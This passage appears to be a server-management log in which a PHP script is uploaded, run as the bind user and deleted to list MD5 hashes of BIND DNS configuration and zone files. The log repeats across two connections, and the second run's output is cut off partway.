MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 11:12:56: Establishing a connection
2026-04-22 11:12:56: 

PUT: /tmp/pkp430843

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 11:12:56: 

runuser -l bind -s /bin/bash -c '/tmp/pkp430843; rm /tmp/pkp430843'

2026-04-22 11:12:56: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 11:13:47: Establishing a connection
2026-04-22 11:13:47: 

PUT: /tmp/pkp277191

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 11:13:48: 

runuser -l bind -s /bin/bash -c '/tmp/pkp277191; rm /tmp/pkp277191'

2026-04-22 11:13:48: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
